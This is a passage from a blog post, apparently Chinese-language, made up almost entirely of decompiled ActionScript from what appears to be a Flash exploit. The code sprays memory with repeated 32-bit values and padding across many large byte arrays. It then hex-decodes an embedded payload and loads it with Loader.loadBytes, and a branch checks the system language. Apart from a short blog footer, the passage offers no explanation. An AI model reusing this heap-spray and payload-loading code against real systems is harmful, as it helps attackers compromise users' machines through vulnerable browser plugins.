this.s.writeInt(2008885784);
this.s.writeInt(202113024);
this.s.writeInt(202113024);
this.s.writeInt(8192);
this.s.writeInt(64);
this.s.writeInt(202116560);
this.s.writeInt(0);
this.s.writeInt(202116164);
this.s.writeInt(0);
this.s.writeInt(0);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.i = 0;
while (this.i < this.sc_len) {
// label
this.s.writeInt(1676697940);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.writeInt(1676697940);
this.s.writeInt(1676697940);
this.s.writeInt(1676680900);
this.s.endian = Endian.BIG_ENDIAN;
this.j = 65536 - this.s.length;
this.i = 0;
while (this.i < this.j / 4) {
// label
this.s.writeInt(305419896);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.i = 0;
while (this.i < 16) {
// label
this.s2.writeBytes(this.s, 0, this.s.length);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
trace(this.s2.length);
this.i = 0;
while (this.i < 176) {
// label
this.s3 = new ByteArray();
this.s3.writeBytes(this.s2, 0, this.s2.length);
trace(this.s3.length);
this.a.push(this.s3);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.r_jp = this.hexToBin(this.t);
this.ldr_jp = new Loader();
this.ldr_jp.loadBytes(this.r_jp);
} else {
trace("I am " + Capabilities.language);
trace("failed");
} // end else if
stop();
return;
} // end function
}
}

繼續閱讀全文...
張貼者： Chris 時間： 上午11:30 0 篇回應
分類： , , ,
訂閱： 文章 ( Atom )